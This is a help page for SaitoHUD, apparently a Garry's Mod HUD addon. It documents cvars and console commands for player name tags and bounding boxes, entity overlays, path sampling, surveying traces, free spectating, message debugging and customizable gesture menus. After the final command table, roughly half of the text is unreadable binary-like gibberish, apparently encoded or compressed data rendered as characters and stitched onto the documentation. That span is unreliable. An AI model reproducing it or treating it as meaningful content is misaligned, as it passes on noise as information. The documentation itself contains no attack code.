    SaitoHUD provides a quick context-sensitive menu that can be opened with a key and quickly scrolled with the mouse. By default, SaitoHUD does not have anything in this menu, but plugins may populate the list. To enable list gestures, bind +listgest to a key or mouse button, preferrably a mouse button.

    +

    As long as the bound button is held down, the menu will appear in the top right. Scroll through the menu by moving your mouse, and lift your finger off the bound button to once you have selected an item. Note that you may have to move the mouse slightly after you have lifted your finger for a selection to take effect.

    +

    Information Displays

    +

    SaitoHUD has the following information displays:

    +
      +
    • Information about the entity that you are looking at.
    • +
    • Information about the player that you are looking at.
    • +
    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    entity_infobool1Draws information about the entity that you are looking on.
    entity_info_playerbool0In addition to entity information, additional player information can also be displayed.
    +

    Commands

    + + + + + + + + + + + + + +
    CvarArgumentsDescription
    dump_infovoidDumps the contents of entity information HUD overlay to console for easy copy and paste.
    +

    Player Indentification

    +

    Players can be identified with:

    +
      +
    • Name tags visible on the HUD. The distance that the player is away from you is also displayed.*
    • +
    • Player bounding boxes that show the bounding boxes of players on your HUD.*
    • +
    • Player markers that display a small arrow beneath the feet of players on your HUD, indicating orientation.*
    • +
    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    entity_infobool1Draws information about the entity that you are looking on.
    entity_info_playerbool0In addition to entity information, additional player information can also be displayed.
    name_tags*bool0Draws the names of players.
    friend_tags_always*bool0Always draws the names of friends.
    friends_use_steambool1Use Steam friends to highlight.
    friend_colorstring255,255,0Friend color for Steam friends.
    name_tags_simplebool0Draws name tags using a simpler text style (less FPS drop).
    name_tags_rainbow_friendsbool0Draws friends with a rainbow name color.
    name_tags_bold_friendsbool1Draws friends with a bold name.
    name_tags_distancesbool1Draws distances with name tags.
    player_boxes*bool0Draws the bounding boxes and direction lines of players.
    player_markers*bool0Draws an arrow under the feet of players indicating the way they face.
    +

    Highlighting Friends

    +

    Name tags for friends can be colored differently and bolded for easier identification.

    +

    In order for SaitoHUD to know who is a friend of yours, you need to create a friends list. Create a CSV file at data/saitohud/friends.csv and in it, put nicknames for your friends, Steam IDs of your friends, and red, green, and blue components to color their in-game name tags with.

    +

    See the following example:

    +
    Nickname,SteamID,R,G,B
    Great Friend,STEAM_0:0:0000001,255,255,0
    Another Friend,STEAM_0:0:0000002,255,0,0
    +

    Entity Highlighting

    +

    Entities can be highlighted based on an entity filter with:

    +
      +
    • Triads, or 3D coordinate origin markers, that are displayed at the locations of selected entities.*
    • +
    • HUD displays of entity properties at the locations of selected entities.* +
        +
      • Peak speed can be shown for entities. The data is cached but that data can be cleared with the appropriate console command below.
      • +
      +
    • +
    • Bounding boxes of entities that aredisplayed at the locations of selected entities.*
    • +
    +

    The results of the filtering operations for the following functions are cached for very brief amounts of time to significantly increase performance.

    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    overlays_continuous_evalbool0Continually evaluate the filters every time the the HUD is drawn. This may result in a very large FPS drop, depending on your setup and the number of entities.
    overlay_filter_texttext"class"Text to show for overlay filters. Options: class, model, material, speed, peakspeed
    overlay_filter_print_removedbool0When an entity is removed from an overlay filter cache, then print the result.
    +

    Commands

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarArgumentsDescription
    triads_filter*filter filter(...)Draws 3D coordinate triads at the location of matched entities.
    overlay_filter*filter filter(...)Draws class names at the location of matched entities.
    overlay_filter_clear_cachevoidClears the data point cache used by the overlay filte.r
    bbox_filter*filter filter(...)Draws bounding boxes at the location of matched entities..
    vel_vec_filter*filter filter(...)Draws velocity arrows at the location of matched entities..
    toggle_triads*voidLegacy function to toggle triads on all entities on and off.
    +

    Quick Filters List

    +

    The tool menu panel has a quick filters list that is customizable. Create the CSV file data/saitohud/quick_filters.csv and list each filter on one line.

    +

    Sampling

    +

    Sampling allows you to trace the path of an entity or player. The path that the entity or player travels is drawn on the screen. By default, you can only sample one entity at a time, but a cvar adjusts this behavior.

    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    sample_draw*bool1Draws the lines tracing the paths of sampled entities.
    sample_resolutionfloat20The interval, in milliseconds, at which the sampler will take data points.
    sample_sizeint100The maximum number of data points to store for a single sampled entity. Older data points will be removed.
    sample_nodesbool1Draws squares at the data points.
    sample_multiplebool0Allows for sampling of more than one entity or player at a time.
    sample_random_colorbool0Use a random color.
    sample_fadebool0Fade out old data points when drawing.
    sample_thickbool0Draw thicker lines.
    +

    Commands

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarArgumentsDescription
    samplevoidSamples the entity that you are looking at.
    samplestring nameSamples a player, found by their name.
    sample_idint idSamples an entity, found by entity index.
    sample_filterfilter filter(...)Samples entities, based on an entity filter.
    sample_removevoidStops sampling the entity that you are looking at.
    sample_removestring nameStops sampling a player, found by their name.
    sample_remove_idint idStops sampling an entity, found by entity index.
    sample_remove_filterfilter filter(...)Stops sampling entities, based on an entity filter.
    sample_clearvoidStops sampling all entities.
    sample_listvoidPrints a list of all sampled entities to console.
    +

    Surveying

    +

    SaitoHUD can:

    +
      +
    • Draw an orthogonal line extending away from a point that you were looking at.
    • +
    • Draw a line from your point of view and reflect it multiple times.
    • +
    • Measure the distance of a path.
    • +
    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    ortho_trace_textbool1Draws coordinates for end points of orthogonal traces.
    reflect_trace_nodesbool1Draw reflection trace nodes.
    reflect_trace_multiplebool0Allow multiple reflection trace analyses at the same time.
    reflect_trace_color_progressionbool0Change the color of the line based on the line number out of the total.
    +

    Commands

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarArgumentsDescription
    ortho_tracevoidCreates an orthogonal trace starting from where you are looking at.
    ortho_trace_clearvoidClears the list of orthogonal traces.
    reflect_traceint numReflectionsStarts a reflection analysis trace from your point of view.
    reflect_trace_entint numReflections, float p, float y, float rStarts a reflection analysis trace from an entity's origin with a relative angle.
    reflect_trace_ent_liveint numReflections, float p, float y, float rStarts a reflection analysis trace from an entity's origin with a relative angle. Continually recalculated every tick.
    reflect_trace_clearvoidClear the list of reflection traces.
    measure_addvoidAdds the point that you are looking at to the measured path.
    measure_addfloat x, float y, float zAdds a coordinate to the measured path.
    measure_add_orthovoidAdds two points to the list of measured path points, one at the point that you are looking at, and the second point on the line normal to the hit surface that hits the first object.
    measure_insertint indexAdds the point that you are looking at to the measured path at a certain index.
    measure_insertint index, float x, float y, float zAdds a coordinate to the measured path at a certain index.
    measure_insert_orthoint indexSee measure_add_ortho. Inserts the two points at index.
    measure_replaceint indexReplaces a point on the measured path with the point that you are looking at.
    measure_replaceint index, float x, float y, float zReplaces a point on the measured path with a coordinate.
    measure_closevoidCloses the path.
    measure_listvoidLists the points of the measured path.
    measure_clearvoidClears the list of points in the measured path.
    measure_sumint index1, int index2Adds the distances between the points between the points at index1 and at index2.
    measure_betweenint index1, int index2Adds the distance of the direct vector between points at index1 and at index2.
    measure_removeint indexRemove a point.
    measure_remove_lastvoidRemove the last point.
    +

    Spectating

    +

    Free spectate mode allows you to move a free floating camera around the map to be able to see outside your player. Be aware that only entities within your vincinity will be visible because the server will only send entities that you should be able to see (in your potentially-visible set).

    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    free_spectate_lockbool1Locks player movement and turning while free spectating. Turn this off if you want your player to face the point that you are looking at from free spectate mode.
    free_spectate_ratefloat1000Rate at which camera moves.
    free_spectate_noticebool1Show a notice when you are free spectating.
    free_spectate_slow_factorfloat4Factor by which to reduce the camera movement rate when the walk key is pressed.
    +

    Commands

    + + + + + + + + + + + + + + + + + + +
    CvarArgumentsDescription
    toggle_spectate*voidToggle free spectate.
    free_spectate*voidAlias of toggle_spectate.
    +

    Debugging

    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    umsg_debugbool0Display a listing of umsgs on the HUD.
    umsg_debug_peek_wirebool0Peeks into wire_umsg umsgs to display their targeted entity. The umsg will not get correctly passed on to the respective Wire component if this setting is enabled.
    umsg_debug_peek_titanbool0Peeks into x umsgs (Titan).
    +

    Stranded Game Mode

    +

    SaitoHUD has the following functions for the Stranded game mode:

    +
      +
    • Replacement of the resource drawing code with a routine that also colors the name of resources appropriate colors (i.e. stone is a grey-ish color).
    • +
    • A very useful context-sensitive gesture menu.
    • +
    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    stranded_res_seeablebool1Only draw the names of resources if a trace originating from your eye and ending at the resource does not collide with any other entity. This is how the Stranded game mode handles resource display.
    stranded_res_distancefloat500The maximum distance away a resource can be for its resource name will be displayed.
    +

    Sandbox Game Mode

    +

    For sandbox games, there is a customizable gesture menu.

    +

    Customizing the Gesture Menu

    +

    There is a default sandbox list gesture menu that contains some common tools, but if you wish to customize this, create a CSV file at data/saitohud/sandbox/menu.txt (in your data/ folder) and make a list of the tools that you wish to have on the menu. The first column is the text that will be shown, while the second column is the console command to run.

    +

    The following is a sample from the default menu.txt file:

    +
    Title,Command
    +Easy Precision Tool,tool_easy_precision
    +Weld Tool,tool_weld
    +Remover Tool,tool_remover
    +No Collide Tool,tool_nocollide
    +Adv. Duplicator Tool,tool_adv_duplicator
    +Expression 2 Tool,tool_wire_expression2
    +Wire Debugger Tool,tool_wire_debugger
    +Improved Wire Tool,tool_wire_improved
    +

    You can add submenus by creating new text files in the same folder as menu.txt, with the prefix "menu_"
    +You need to add an entry to an existing menu to switch to the submenu, see the example below for going back to the main menu. For the action just type in the filename of the submenu(with the .txt extension)

    +

    Here's an example menu_sayings.txt

    +
    Hello, say Hello!,
    +Good Game, say Goog Game,
    +Thanks, say Thank You,
    +Lol,LOL!,
    +Back,menu.txt
    + +

    Miscellaneous

    +

    Cvars

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarTypeDefaultDescription
    trace_aims*bool0Enable the drawing of lines that trace the aims of players. The lines begin near the eyes of players and end at the surface that the line collides with. If a player is targetted, the color of the line will change.
    super_flashlight_selfbool0Only create the dynamic light for the super flashlight at your own position.
    saitohud_ignore_hooksbool0Disables all hooks. Hooks are used to override handling of some SaitoHUD features. For example, there is a hook that allows a plugin to modify the color of the player bounding boxes.
    saitohud_modulesstring""List of additional modules to load, separated by commas.
    saitohud_modules_prestring""List of additional modules to load before all other modules, separated by commas.
    saitohud_profilebool0Display how long it takes each module to load.
    +

    Commands

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CvarArgumentsDescription
    calculatorvoidOpens the calculator.
    toggle_hudvoidToggles the display of the HUD.
    toggle_concmdstring cmdTtoggle a command on and off (i.e. attack). Don't put + or - when giving the command name.
    super_flashlight*voidToggles a powerful flashlight that illuminates the area immediately around you and the area that you are looking at. This works by creating two dynamic lights, one at your location, and another at the location that your aim vector collides at.
    super_flashlight_brightvoidMakes the super flashlight brighter.
    sound_browservoidOpens a sound browser.
    e2_extensionsvoidOpens the E2 extensions window.
    hook_managervoidOpens the hook manager window.
    saitohud_helpvoidShows the SaitoHUD help window.
    saitohud_reloadvoidReloads SaitoHUD.
    + + +

    wAN+Vs~gpbl8<^M(?6de*yRrpbPL&1AHl9 z9^l)6en30mX~63MzW#G!#58rQ+m#*@<9lz;cA6TDCnt}${RcXDZx45Xmf9yvU+l8Q z#L%(nm#HTxwicpgc;iZsk=?M&(75O^DLk=Bxx%fpw^&QcM#Coe#insJKjswvRAboe zPJYiE8Vm-9Ha!MZ+{YShT6usq>l6gr+OdQ_20;U^Utw>Vg)!E`Q#0CI0oMTL0Z50; zKgs1Y#}}7aYpLAQ#~{pWtu}<%fK}1~b0F*$bBa#PrPlRQ3I)?fPd!qzR-QANqNv;DGC~Y>F@#+HY8=4ju$sGokrF~QO~I0PB1+K!`{L} z&vemH26Kif^e!9?1sua_dn~=9hgRbWvBjkEzbGd#CvwrjIZfnpQrTHjG7n5LwU^2U zZ-l$DY_6gA_fRj4C-L#Be{vT~U@Ql?$_bDC?hjc#r%)tC|GsC?7~+&kN42axmnP%l zFTw#KeYHVAJzdK74+j<}s6BG_#@-J2SK!LMekr`4Wxdfda4ak9huj*zJ4%+cB7gT9GG^+#}#0%iXTr z3smhuFW}#g?fzca`T_R-QMMK^!Sl$I^1~yW<7o~vNQ&&SPW~gF6Y7{veU&=3!#=^Y zGLUQ<;z3qQWKT(CPLqdG-W5n$B~flC%0`8>Au0x6R~0wEiS@_Z623zo7N<&Hqg^%CViqI^xEJk2QU0x1tjl!HXM83Z43@}SHZFv<;RZ)6n(o)dDKTq zgU6I9L=Oo%0;x|kYH@?7z^dz2vZnK|EbAu%iKh_-gjnvQq?4zNvNn*?#wf)N{RP(N ze8f8x;(39@2jpyre3VZqlyQNS!bwShB)S&$ks8)3q#te%P(wN+6*rtNu-fRB>5Sfq z$;AC#AaRSFZ@Z6@&Q37O#{wx2%amv7TI3-KYznD0kW}{$2`g^sEwE zE@Z?7)@?pYT1HQqLiDJ$ae>r(Wa>V;7M&m|wkR3D_gH`)hGbI1DMf@fg|a=6axPJz zcGuEXD%v)M)D=j&jgbaU0Nw$K@0dof-w(-y`YWEtZEnXH!rC2zqm}3A2_HwiX;5Z2 zOoM{C);;}anmkK!3y!^rqKj`2_k#*aM0sd{ag z7@zcDdr@w~x_2+G-|Kj$Tf)WkAAY7YLNMLq;!3(BOiaO2>NSiZIL_iZ?hPMD^cpfd zx!2HRiPoA43H&}>i&aHyX#lFB9w;k^3gOl_ZR3>G9zKyJC9Msiq;WjQ?(lJhl4N$W zl7@0o{ARBBbFB&20<}E=WsV1GPXJ1|4ygSBsC|Sw8h{ce0o50PGR^@?_!D0(=Iepd z2A~@BKurrk?Yse~AmYGq*zC8XKnT#uYDfoac>oHZd)8WO15oY- zK&=lzX$iG00JS^~s67EFAp@xPKvWJ;?m!gP+tC1210@^`K?x18PeEY9FC?1fZ7Z z1NB@0N{i=ltOo*60=CqwJprhOETDP=PFcymRARSRMo zd&+B(^Q)}Ou|aB$XK2p{-&LkQY|dbiu*VcEoR5UUw?w6JeIe4$02Swo`%v1&pjt}I ze5eFMH3XoR-v?An0BYwlptc8~++{%R3qTE(1J%u;q_>%~&vs#HakjPx@ix3e53kar z#a^@bEop~VD{gH;xXa`&%`>-)MQ&$YHps*`opEMdyG-5QzS6~FQMWU$kcE$$Q7vN8 zQD4;$)3yVZW@CS=cYDp2AU-s;7x$ z{RRuua`8mm$+EhAvJzXyO0Y7CLdv=mM5I?%0?10wu<)`jN6sW`74hO^wX(2Z)>;=E59GAhuv~x2bcVdiOyIl_vTgF7NGKoUUN<_S@!S;HA ziVi6S;=)O(W?{dSF)ZwtQbXY=N@ZmBI);U5y*e6qvR->AbDzC3RwLMJ&3aDIthJmj z$8{qk6i*hg%f#gBGBI(SaRzXtGEAc@HMSY-2CXcC-Jp3T;ifB!2pa69)LAS{TLQNe ziBG9%YguLjljY<;{BBm7`1iv}czZC7@VQ?Je?h`Wu~|(}T>N`1P1IhR@dU*s%W-=` z#1*nQarR{N6*UI$TUbDKnoi)8im4s8N%*Fjbv+2I4d1~}8}7tz&wX)%K;L_Cyy10j zz)!%R{JQceNtAja#nmkdwltbv*iwqb!U0r zx2P98jFkD_w+1HQFek&C(YxggT2BCvjt;$BqC4Ovtn5&S=v}rJ?}i0T0xSglZ9SfI z1MCL80VvrZXr}|>0BL~gjW}ltxCKxEcn|O*U?<=xV96$Y*9dSOzyvq}*bDeR;AKEg zGroxg7z?-)&A51fRAuL3D;);4*;qF zZGcG*#Nm1p5QTdepaO6&U=6_7g7=C6zQFxAas4IWyMPA3QvhXG1p6V}^JjFp>48n$ zBxuWHWKMgjisj>ELFKd3Pn6=eZ*^Pyg8; zo~Qrp56@FN`$Hel#GbBrJ=^y7;%L}{rECPkubFwaZbW&@eIIYz>*xM;S5)VhT0QTD znEw+)65DbB?T=Ol;80RKV_To6pfuzdzl%D0=VtQNN{1Ln z{i*X&>Pzv6LLBv2&PS=Yq7ZdG&PU1BQ;58-^HEBSw?|8^Gjr`O@&b50nqF}W@Cf+O zkvNXwkJw@$3Z1m+*+tDf6d}WNglNq;IVpNgkD{#sA^~>*UIMrPYXG|ecYYsj4e&4A z-+=2gfCm6ofHr_)?~aW+ZKFnvHv3*{-Ibw>MJc*6wD=V|qlJJ6TB&^$INb5#Nwf0) z=aZvQ<__jpjvg%*KR%aXRCPtuYjAC`Vg}qi_d3~PZ5NKMf<8mvMOQ)0P3R(@D2T;6 zCCZ>gB}q|^6~-^RGUhU>*UP+9mtth7$Pan&7HOPMA+|9k(DX)wcx~%(+qGiu+|*-D zS}`L@6e15fW2YY!bCaAZeDcWgnb$s6c|Pxu8p0UFnARh<8^z)z@oMp4WKZg$rZ|jx zz9qg)DjrC|B*LaCFLQKzsldRr9xdvwnam=~kjDbvQTO2e^c)hI6j09)$zyo5gmgw{p z13i$(OU7iBc;G&XfT? z(;0Gxv6pG5A41Ahaie~Ew{w)3k&wocs%&Gh5iP$g-H~gg2PK(CaUiL@Y)g!IP*$N* zmvlvaifPCdikU0sX;ULs&&HOvOyMG(#!Y~kYj!;a8^xK`QuRPIQXwsl4Q%rw+f6a8=VCYii!s#VBRI&q z>j$at#D4ERpw`Ev4#hr92k)n2(2|xA`NgfE(5sTqnc^d2TaHkwb*v@HJ~NFqBdAln z+Ig**l>~LD&O8k=$QIk;Ao>WWDIUdsV5IWgM&-Hs%NJ#R@+NibxyD&y8dro(H?3Ev z4y~CoeM7vMmc&HQGN@7pCPevptCi%|Nk|JTQH|0c`nNFhtlImD3!h`p7FU_;=`#-BcdE4$|Ih~!Q)FRO0S$E zfxd8FWa%ru^CEenPK&q}?-a+lDM5{Mbke^?P`h;hf_bcPj+dpNAvbfQKQm25|4OvxG5K<939>-R*$u6(ZPA+ z_E77~&>`V1@WAGhV$W7ek`vSFwOQJ!3r$I*FG`F~$FLQH0{vn2A>JhNxwBsv(Pp-vh}8m|JqI@u?O*vW^a5|TX+V$6^3Y_8)| z@0zR7`O;hl^B5fdywzp8fbW+M$(7)ZOF)#hVNhBZ!=jl1h4TFPMw9@f3|YUZ?;Za7 zb_^PQPnQf8mvAS9OfjO_n0U@<-+%5qrAn(&S_A8EseWJfwddlCkAC5kJJP2Ia+!da0~{z{?C8V3n{_AfIdcTyBFgQ$EVsxJXJOjA$F$r zHl}bvjDj!(dvoNil-KS{R}aQoKuuE>+-$UjFOD}Yfmlg&Ug)lBbV%{@cAq;ZURRi|17 ze&rqF>&l(NS-PU53Z?lzML@}4C-ChzK9t9HTJZRvh924+a=aev_~MJzYH?`b7O`B{ z{J{4UdJ=6Y`W2JFC?5Dx8inl40mrhSIb zwwpBV5ADQrHYB3mgOLu*Xrf~iyn29$mZJ zc3tWl>*F>>rJ6jeubOW1OnL(@wb!}f^uVaZQ_f|l#m~gTS;3;^f?ftXc$?&9os_uWZtw-p~f&SJ3$XH$ijgk z9z)H-rxneSm|kp=d=kkjIV*7koe-yOk^p~&Z5U`aIT_vLC|V96U)6b$A#^x8ypFfA ztatj%b+B?5J{F&{;dJb_?;wCd-Kp4?mAD(R%=Xb#-ZS$+N0}9!_6{7tFbj*|ifiP7FQM4H`$^=X+JoG@V_$t38UaYUen*8HjY|sZ-((;8xNI zzW;UzXNPwYM)K+S_7Wa`?%|jbzcft%g7~+l>0%#uOMQ))rW*?s*n%lg7y$>+Z%vB{ z2nWAEi;7W@c#6hs_$E(tu0A65RcA*0)(riYvKVKX##yFymg$^j>aOTP>h+J=qkgk| z4=m`_*vAhV{@wf+)tGMNp-b&>7Ecy2NZyjmQWk3zy)=QZ> zWeU^FXfiOMK>VXy)AV~IY&tP39;S6Ga#owY#~g>%DEeNtE!MFv zUa(z_SQy>a-uEQ32=6gTS;!CR4Sbej+GG@5-I^(@l)^?%g%mC{s7IT@a5PPpMJ=-R+YMO+Q#caOa^TB=*N;o>Jm@2bmPo0I5$qC$D@i3C3*Rt z=P0v`bYuql@h43h63dkvk7ojUfE35|p)CMS4#P}w1$d6oWjU)nD?s{gUY8_Lh1e#X zOiS*aNUu#uvyZ|3KGn&IC|L8lxdO!*rMRdE5NDL*X31@a@=^X!A5vZPE;Y=MUcz8y zwLl+PVpV{8q7Pw1lQW>>lWtGSRRLPQGq7%SR5#I4s87@rDqtz5e)-ARCqTVv%&3Fo zauvMW8(bG86UkG8`C@|jaq7kdoAnf`R*@$mkJ$*apbCd+jD|En8waHh%e5}a8sprU zaI$QMeR_$tSuz+V)OX;ueL`uNP#Oq@T@>V~7zT_JPq9HI&efCAf``bnW$3B$_ZZ+m z`TB<;n4KBZJP(eB1i911Vtrmd5C+d-h(zkz3PV3xmb?|lj9?O~E%{`baSN8!G7RP| zxpSSx>7LUX&=${tA$$IUTeQU(m@cHywYobqVgzSypd-=x9LadB7sFnh#fm2x)s;d0 zlHjv724x6=ZUL)u#%bO@$pR3DY=kq`Fw_Nn+B&w-f=>g|el!=2hj7kfS&#aa!z9HK)M zYfoL#b5V6&8Sw^OY+AFYLn7T18yD=2M%9ZB*!FeytBKGH91J}^AknCga zsRuViN4irFuK#!HL1%_~!%c{}3ZvLfqfueV+B+~F*+fcT`(q^QKN6$iBEBKU6;hwG zQ7w)U#~=JaO-~x*$PV53hJjo>ewQJ!%J<)K0=hF0QTcTs#WWhc*(f!b2iU6Is z-4IV6Hfu7B1RvOwg0K@mMcQN({wQK}AS{9-(&34t9+4hOX#M-fssiyTgB~$>@r=!& z7e6m13QqyPe<$86HRwF?RZk=pZ@nR2SU-(qMUL^ZI-yJG5g&cT7x<7327qX7baiwZ z9UrOeKc|mh{(hNH9=T-F1$n8PlLgz9t%Zgd8c)YGe|m>4s`=BU_J}Q7s1}j-5B&yK zEZPhja%dVnsvnn4)rrq~S|J=Z@Z-!BE;JZWf@yjA#U-BKjiJV%Z*^}N)tP=L)}TAf z1DAkl8IiKnC!R`KYM6`}N9-eHh(+RUlvy!y*T=r7iOjPOk?X^kL2Jh3dsc%V<5}YU zBV67zng1WfE--^-_e zx;*5gGnaV0@P6pLI@7UY?&wgZE;Sfpw-LXxWmv&J%nb#Y0*l4jz3@)0=SplT%E1a@=dH8@dRjWuWct8#@#cL_A6 zrI#;t_)%1oA{v3@v4BUbh?|UYyLA{E!F@dLeHFyD=SL{vW!keIG*{f7Ck3?UOEhNk z1!&9{w`9rw3dE)8piZHW{22Q}-T^g~s6&#}VdqB8#tF2$f?nG*6&1j+8zY@)-x)OG zm?3`4rAtlyXH&dO6P^0%>hb1+V$TX}m!Xzm@@Sic7{y$vj9~tQS#PVi3m$;B?N}ev zg|3N(&}Rt(=4D+MkB`XDV9@2sf-JPO373`VW|%wu7^)xE9Z1=Q$lS3ObIDP^A-_Ek zEow38yj46@g29(GpY@H$y2^=RJ{b05$-u{t5M4e5o4>@qtlio&MoZl`8gb$ge9Hdu zgU&I`iJ{LXd8o{~EvN~&h_2`v;O)%7umZ2`_qP@6FjVDwgq|FneyB#sgQ78ir*e3P zByX8`q}97Ir=UozHRzS`L;7n%?8`k{(yxja(_d4&4!lL_oeR~jQfYiiK7_Tq4(F)U z3?0><4oxu?vy=6QmMvk5)GFTg=uu=|tu0PG*ZTL8jSEQV*q761#*5nzPDZw3SKHS3 zITO*eu-mt_R5j;5xoI7WXgL+sv>ctP)PJo%hyur#mo4j}VhFR`WEHV57ed&UVmQf_=V-#WpQ^y%2@L*TOCmm;Mp&jqkWH=@7RGL|Or_vgfcPeeziC&Dm zv7R1LB7SO{T5L_mdWLJw1@E_NG$o!VVOngheN?gMHCW1G)a8KAGZCgHp-Vh3GIUot zt@wGT()zRLEw(m8WN(}rp~d15*6C-Uq3`a-Nub?_@k4ubiEd+AhvR0!^E7x^6Mu`v z=vy#U?NS?5bUz9Ai2vgGLqG`YY(HN*qUt#Kmff6iZEJMm{heCv~p1deC!WQvsRO z2n8kHw=g{TU|>|2NrSY)t^>%oCZY`OcXZA5p2uOd11Z+0P)2JTe!8M4o(MfQL@i#7 zJ-^lmpdITrBB{cUr-&k)vxzYA)Z&z78hZ@b#2LUaWy(=tZIi8Z@iagw$iOzvYsZ@y z>@j#!8E7vn`k6D}F`~F^Er*Hg7>=-wgRmaT@60|V^vss*kJN*&o~EKS#w~$`c*;S~vP4xy6UN(v7g~T-qCZbg9!i%3xH#@=hq49RZIr=a4E9Dbum5N447K4% zhY~m5F{nN{*HF5`(YI-ZV|bJ8O-8JD^behMpM(ecGxihzT#Jb%?#V-=Y;*r~ruF!` zZ(s%^Y77s347r;h!bfzxn;bplv~-T+!oUnUR>Jp6_;-W>9TA+zCxN`1?CqFh#uFUr zIO?6M3y_^kk%tjd3B!iFi_c61FCTW4f~Ag3p;u4up5#8?b5pl?c&aeu z^`>@X<^AB|?bz>88#?fK1hx=_fipEa>pn8IGw?#e4W=K`L`Oq`@zM{b^csOo$#%GA3!6We&+saojCJ5|GeV*+$mP?G4SDjMtFpj!w% zYtHwcf5*`)V0&9jd&-E5N8B~63Vc!Vh|-O9+b3airK9AD$IpL^s|LS^5|1xhmpg!s z9u|r3LQ}-Cfnz6+eR!;Q>?!+M5OtrgGQ>ZMA6?|J#;a06v?c~u5U!4yj)ChWSPrfl zT(yhVjXM9%`Ci96ICgP}>sqP$j-tu10zew609tn{Ywm4?*(DSPq49&c830K!*~HLJ731Rk?}B#m+@`MeHSI z<&c}T$%h7~p*Pu`FcDs9+zk4Sn?}D=4D>r&Prr9f#_x)4ahdEgZZ5k_iD#E69lK1` zvde86T%P(~lo1!vBTwSJ^-RTr=?Za|FS5z~4L>0#4yC`yZ5<)nci{H^| z!QB-#gT=~U$#%B(BFV0Fa-FTGaqEpshI#H@3!)m8XDZsx;u>^`NkCe&;XARJgImX4 zL?GY|gDQ`TXsnbsygK4AtXJc5qyvqphZ@ly8rM?O$kDEygC)4>=m~OSyhXZ!zr**T zq0mMxd~Ba+>U$`;vT0SHZ7ep4&}!lEPIq{oq3NW>qcn&gB0K1~Mq?eK+%s72{n*CQ zh@G)NH)&N^Bb2#~y_K9HV}*V2e(IZ*T+oLIo<&kt)Cbtdd+j=Owo=pf7@>&{Yc@{m zc@n{%8eDPvdhmOhey|gm+SwE!ae)4^0v`Xv9oS>ZgsP#nPC_lc}FIj+yUpPs8-lljx?U zOg=j)znU+sTAUHEX8q2$P0SA6Nv{c+X&O%aJv`Y^)o!XDC#w~@vjVi9Z$fL1!)j=y z5G%E}5zZ{dm{|;#^K5fOqv4?E`tv=GK9yV<*tf3oeF&a*-$E zGC7@c4o={mIt-ihPCd(hhuH5Re*L}U)sDNU?-%T&nd_d5NQ@r1?(wKpX76k&4>vz2X;*7BBv`EKhOPe)F=v@(ZY#hUa*e zpC*0rbk39YtXj4w@30KBCR0%IO78o{-~JZ8kT&(L z#k5~Yv|~V)O{E(0#%0RabasVwpfeJk>1?8DC~*j&)o%Q>64l$9?*LmuOeD@5wuG+v-x8}C#Pg5Ih9?6;5o_Ojm-?6-&g9%aAX z?6;Zyu4lh%*{_ZLHn87X_G@LoRqS^;`!%v&EM4x!U{Ys>`!JuRYm}mZqI~I z@D_^%ONGslR0e2e8CH^1Cr2_*$q!(Ma;|9$vw&fbKvY%4$3zusc7w^;- zl&Zt!+Q$N{h^{tvzZ4NJ*ACpD`NKMJe<2;@XI^;|d|WKU0G(_ml(?0WLWV6LgP}V{ zs+tE8Xs;!KW+65l^33tebH}CR*~aAABFQt1A)do6o5}zJ?QW9iX$;FDkLd)O15MCj1*7L{)`l#eR2BsK`g=*U>OBxn%Q{-TECg|D($Dy^3CpKY`A!CMft^XbSuUs z;1~NUc-;^pYR-DSC;zdF?oY;L;@5m~iW!$JQ_|UQHh!H`3i0c4ppBl4n~Pfq_EuUE z!l`(Kq+Jtf$JIGb56nwi{A`&Lk6(DSvLZo8)5o2Os9=|p70u21F=YZU@l~SztD4nQvFXgY2^5685R*U?T zkw3)3Z4&ZSC?z9ex@*OVjHG5;EKF*)%W{p`v+N(lU)>c&Du#rDMCgXSc2Mv?{`bVc z1z|Iw3UDK)aS4F=05jlzz*68d0N(=K40smM3Frq519YDW!tH>&0fm4XKnsBWe*7tp zKLRELdWQvJ2OuAy0USCHIzTcY0&wUY;cE1(Qe2)G9@A217W zBOo520elF3`~mR4fJXo=fSoAoi*k9df-iEG0%pu_#t6@oCe3I%!}X(?}9&B#-MHrzJ@Kp|u!&c_cp;_JML8GO@X346vSsGVVR9b`^fx87T53m#f(S+3i8=wxbAN&)3f$!|# zx)0aP55RvPzB7UA`v`+Xpy?M)%W^8#nrkc8SsI(br+(F{iaIJ}b4o#>DJ`cwVa`-L z{sS|$ww5kJTHVT83$6t=OU0^1t1XR4oNuqItFBvFPJ|VRyC1L;&sRZWDdsvxlioOh`x}e8TPQpRlI7%0?r8tEGCS6`UAdMq{<5uBwShW!d#jm5tR6Ha!Ho{dVlL z3D)}hZ&N-CDr#%#x~OhJecg)c##MRtY7%%+T{cR9QWw}N8f_L*8jq`QXi#uSS7)iT z71kG68lf*nmtNgeDWNkO>sKie#r4&d7UXBMHwi0ORo0eU*4i2?n)HY 